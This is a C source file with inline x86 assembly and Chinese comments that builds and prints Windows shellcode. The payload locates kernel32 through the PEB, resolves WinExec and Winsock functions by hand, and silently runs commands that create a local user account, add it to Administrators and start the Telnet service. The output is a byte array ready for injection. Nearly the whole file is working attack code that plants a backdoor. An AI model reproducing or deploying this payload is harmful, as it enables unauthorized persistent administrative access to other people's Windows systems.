#include <stdio.h> #include <conio.h> #include <windows.h> #include <winsock.h> //定义API及DLL名称数组索引顺序,方便调用 #define APISTART 0 #define GETPROCADDRESS (APISTART+0) #define LOADLIBRARY (APISTART+1) #define EXITPROCESS (APISTART+2) #define WINEXEC (APISTART+3) #define KNLSTART (EXITPROCESS) #define KNLEND (WINEXEC) #define NKNLAPI (4) #define WSOCKSTART (KNLEND+1) #define SOCKET (WSOCKSTART+0) #define BIND (WSOCKSTART+1) #define CONNECT (WSOCKSTART+2) #define ACCEPT (WSOCKSTART+3) #define LISTEN (WSOCKSTART+4) #define SEND (WSOCKSTART+5) #define RECV (WSOCKSTART+6) #define CLOSESOCKET (WSOCKSTART+7) #define WSASTARTUP (WSOCKSTART+8) #define WSACLEANUP (WSOCKSTART+9) #define WSOCKEND (WSACLEANUP) #define NWSOCKAPI (10) //define NETAPI,RPCAPI...... #define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/) #define DLLSTART 0 #define KERNELDLL (DLLSTART+0) #define WS2_32DLL (DLLSTART+1) #define DLLEND (WS2_32DLL) #define NDLLS 2 #define COMMAND_START 0 #define COMMAND_ADDUSER (COMMAND_START+0) #define COMMAND_SETUSERADMIN (COMMAND_START+1) #define COMMAND_OPENTLNT (COMMAND_START+2) #define COMMAND_END (COMMAND_OPENTLNT) #define NCMD 3 void shellCodeFun(void) { DWORD ImageBase,IED,FunNameArray,PE,Count,flen; HMODULE DLLS[NDLLS] = {0,0}; int i; char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD]; FARPROC API[NAPIS]; //1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址 __asm { xor ecx,ecx mov esi,fs:0x30 mov esi, [esi + 0x0C]; mov esi, [esi + 0x1C]; next_module: mov eax, [esi + 0x08]; mov edi, [esi + 0x20]; mov esi, [esi]; cmp [edi + 12*2],cl jne next_module //eax中即Kernel32.dll的基址 mov DLLS[KERNELDLL* type DWORD],eax mov ImageBase,eax call LGETPROCADDRESS _emit 'G'; _emit 'e'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'A'; _emit 'd'; _emit 'd'; _emit 'r'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LGETPROCADDRESS: pop eax mov APINAMES[GETPROCADDRESS * 4],eax mov FuncName,eax mov flen,0x0e mov Count,0 call FindApi mov API[GETPROCADDRESS *type FARPROC],eax call LOADLIBRARYA _emit 'L'; _emit 'o'; _emit 'a'; _emit 'd'; _emit 'L'; _emit 'i'; _emit 'b'; _emit 'r'; _emit 'a'; _emit 'r'; _emit 'y'; _emit 'A'; _emit 0x00 LOADLIBRARYA: pop eax mov APINAMES[LOADLIBRARY * 4],eax mov FuncName,eax mov flen,0x0C mov Count,0 call FindApi mov API[LOADLIBRARY * type FARPROC],eax } __asm { //2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样 call KERNEL32 _emit 'k'; _emit 'e'; _emit 'r'; _emit 'n'; _emit 'e'; _emit 'l'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 KERNEL32: pop DLLNAMES[KERNELDLL*4] call WS2_32 _emit 'w'; _emit 's'; _emit '2'; _emit '_'; _emit '3'; _emit '2'; _emit '.' _emit 'd' _emit 'l' _emit 'l' _emit 0x00 WS2_32: pop DLLNAMES[WS2_32DLL * 4] //3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样 call LEXITPROCESS//1 _emit 'E'; _emit 'x'; _emit 'i'; _emit 't'; _emit 'P'; _emit 'r'; _emit 'o'; _emit 'c'; _emit 'e'; _emit 's'; _emit 's'; _emit 0x00 LEXITPROCESS: pop APINAMES[EXITPROCESS * 4] call LWINEXEC//2 _emit 'W'; _emit 'i'; _emit 'n'; _emit 'E'; _emit 'x'; _emit 'e'; _emit 'c'; _emit 0x00 LWINEXEC: pop APINAMES[WINEXEC * 4] call LSOCKET//3 _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 LSOCKET: pop APINAMES[SOCKET * 4] call LBIND//4 _emit 'b'; _emit 'i'; _emit 'n'; _emit 'd'; _emit 0x00 LBIND: pop APINAMES[BIND * 4] call LCONNECT _emit 'c'; _emit 'o'; _emit 'n'; _emit 'n'; _emit 'e'; _emit 'c'; _emit 't'; _emit 0x00 LCONNECT: pop APINAMES[CONNECT * 4] call LACCEPT//5 _emit 'a'; _emit 'c'; _emit 'c'; _emit 'e'; _emit 'p'; _emit 't'; _emit 0x00 LACCEPT: pop APINAMES[ACCEPT * 4] call LLISTEN//6 _emit 'l'; _emit 'i'; _emit 's'; _emit 't'; _emit 'e'; _emit 'n'; _emit 0x00 LLISTEN: pop APINAMES[LISTEN * 4] call LSEND//7 _emit 's'; _emit 'e'; _emit 'n'; _emit 'd'; _emit 0x00 LSEND: pop APINAMES[SEND * 4] call LRECV//8 _emit 'r'; _emit 'e'; _emit 'c'; _emit 'v'; _emit 0x00 LRECV: pop APINAMES[RECV * 4] call CLOSESOCKETL//9 _emit 'c'; _emit 'l'; _emit 'o'; _emit 's'; _emit 'e'; _emit 's'; _emit 'o'; _emit 'c'; _emit 'k'; _emit 'e'; _emit 't'; _emit 0x00 CLOSESOCKETL: pop APINAMES[CLOSESOCKET * 4] call WSASTARTUPL//10 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'S'; _emit 't'; _emit 'a'; _emit 'r'; _emit 't'; _emit 'u'; _emit 'p'; _emit 0x00 WSASTARTUPL: pop APINAMES[WSASTARTUP * 4] call WSACLEANUPL//11 _emit 'W'; _emit 'S'; _emit 'A'; _emit 'C'; _emit 'l'; _emit 'e'; _emit 'a'; _emit 'n'; _emit 'u'; _emit 'p'; _emit 0x00 WSACLEANUPL: pop APINAMES[WSACLEANUP * 4] nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容 //填写 } //3,装载所有需要的DLL typedef HMODULE (CALLBACK *LOADLIB)(LPCSTR ); LOADLIB loadlib = (LOADLIB)(API[LOADLIBRARY]); for(i=DLLSTART;i<=DLLEND;i++) { if (DLLS[i] != NULL) continue; DLLS[i]= loadlib(DLLNAMES[i]); } ////////////////////////////////////////////////////////////////////////// //4,获取所有需要的API //4.1取得Windows Kernel API typedef FARPROC (CALLBACK *GETPA)(HMODULE, LPCSTR); GETPA getpa = (GETPA)API[GETPROCADDRESS]; for(i=KNLSTART;i<=KNLEND;i++) { //GetProcAddress(DLLS[KERNELDLL], APINAMES[i]); getpa(DLLS[KERNELDLL], APINAMES[i]); API[i] = (FARPROC)getpa(DLLS[KERNELDLL],APINAMES[i]); } //4.2取得Windows Sockets API for(i=WSOCKSTART;i<=WSOCKEND;i++) { API[i] = (FARPROC)getpa(DLLS[WS2_32DLL],APINAMES[i]); } //5,编写ShellCode的功能实体部分 __asm { call PUTCOMMAND_ADDUSER _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'u' _emit 's' _emit 'e' _emit 'r' _emit ' ' _emit 'y' _emit 'a' _emit 'o' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_ADDUSER: pop CMD[COMMAND_ADDUSER * 4] call PUTCOMMAND_SETUSERADMIN _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 'l' _emit 'o' _emit 'c' _emit 'a' _emit 'l' _emit 'g' _emit 'r' _emit 'o' _emit 'u' _emit 'p' _emit ' ' _emit 'A' _emit 'd' _emit 'm' _emit 'i' _emit 'n' _emit 'i' _emit 's' _emit 't' _emit 'r' _emit 'a' _emit 't' _emit 'o' _emit 'r' _emit 's' _emit ' ' _emit 'y' _emit 'e' _emit 'l' _emit 'l' _emit 'o' _emit 'w' _emit ' ' _emit '/' _emit 'a' _emit 'd' _emit 'd' _emit 0x00 PUTCOMMAND_SETUSERADMIN: pop CMD[COMMAND_SETUSERADMIN*4] call PUTCOMMAND_OPENTLNT _emit 'n' _emit 'e' _emit 't' _emit ' ' _emit 's' _emit 't' _emit 'a' _emit 'r' _emit 't' _emit ' ' _emit 't' _emit 'l' _emit 'n' _emit 't' _emit 's' _emit 'v' _emit 'r' _emit 0x00 PUTCOMMAND_OPENTLNT: pop CMD[COMMAND_OPENTLNT* 4] } //__asm int 3//在Release版本中使用断点 //6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务 typedef UINT (CALLBACK *WINEC)(LPCSTR, UINT); //WINBASEAPI UINT WINAPI WinExec( LPCSTR lpCmdLine, UINT uCmdShow ) WINEC winec = NULL; for(i=COMMAND_START;i<=COMMAND_END;i++) { winec = (WINEC)API[WINEXEC]; winec(CMD[i],SW_HIDE); } /* 我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的 开发(比如我们可以使用WinSock自己实现一个Telnet服务端). */ typedef VOID (CALLBACK *EXITPRO)(UINT); //WINBASEAPI VOID WINAPI ExitProcess( UINT uExitCode ) EXITPRO exitPro = (EXITPRO)API[EXITPROCESS]; exitPro(0);//使用ExitProcess来退出ShellCode以减少错误 //* // 子程序FindApi,由我前面讲解的GetFunctionByName修改得到 // 入口参数: // ImageBase:DLL基址 // FuncName:需要查找的引出函数名 // flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点 // Count:引出函数地址索引起始,通常应该把它设为0. // 出口参数: // 如果查找则成功Eax返回有效的函数地址,否则返回0 __asm { FindApi: mov eax,ImageBase add eax,0x3c //指向PE头部偏移值e_lfanew mov eax,[eax] //取得e_lfanew值 add eax,ImageBase //指向PE header cmp [eax],0x00004550 jne NotFound //如果ImageBase句柄有错 mov PE,eax mov eax,[eax+0x78] add eax,ImageBase //指向IMAGE_EXPORT_DIRECTORY mov [IED],eax mov eax,[eax+0x20] add eax,ImageBase mov FunNameArray,eax//保存函数名称指针数组的指针值 mov ecx,[IED] mov ecx,[ecx+0x14] //根据引出函数个数NumberOfFunctions设置最大查找次数 FindLoop: push ecx //使用一个小技巧,使用程序循环更简单 mov eax,[eax] add eax,ImageBase mov esi,FuncName mov edi,eax mov ecx,flen //逐个字符比较,如果相同则为找到函数,注意这里的ecx值 cld rep cmpsb jne FindNext //如果当前函数不是指定的函数则查找下一个 add esp,4 //如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回 mov ecx, Count mov edx, [IED] mov ebx,[edx+24h] add ebx,ImageBase //indexaddress mov cx,[ebx+ecx*2] mov ebx,[edx+1ch] add ebx,ImageBase //获得函数地址表 mov eax,[ebx+ecx*4] //根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4) add eax,ImageBase //计算函数真实地址,并通过Eax返回给调用者 jmp Found FindNext: inc Count //记录函数索引 add [FunNameArray],4//下一个函数名指针 mov eax,FunNameArray pop ecx //恢复压入的ecx(NumberOfFunctions),进行计数循环 loop FindLoop //如果ecx不为0则递减并回到FindLoop,往后查找 NotFound: xor eax,eax//如果没有找到,则返回0 Found: ret //ShellCode结束标识符 _emit '*' _emit '*' } //*/ } void printsc(unsigned char *sc) { int x=0; printf("unsigned char shellcode[]={"); while(1) { if ((*sc=='*')&&(*(sc+1)=='*')) break; if(!(x++%10)) printf("\n\t"); printf("0x%0.2X,",*sc++); } printf("\n};\nTotal %d Bytes\r\n",x+1); } //* int main(void) { unsigned char *p = (unsigned char *)shellCodeFun; unsigned int k = 0; //调用ShellCode //shellCodeFun(); if(*p==0xe9) { k=*(unsigned int*)(++p); p = (unsigned char *)((int)p + k); p = (unsigned char *)((int)p + 4); } //打印SC printsc(p); getch(); return 0; } //*/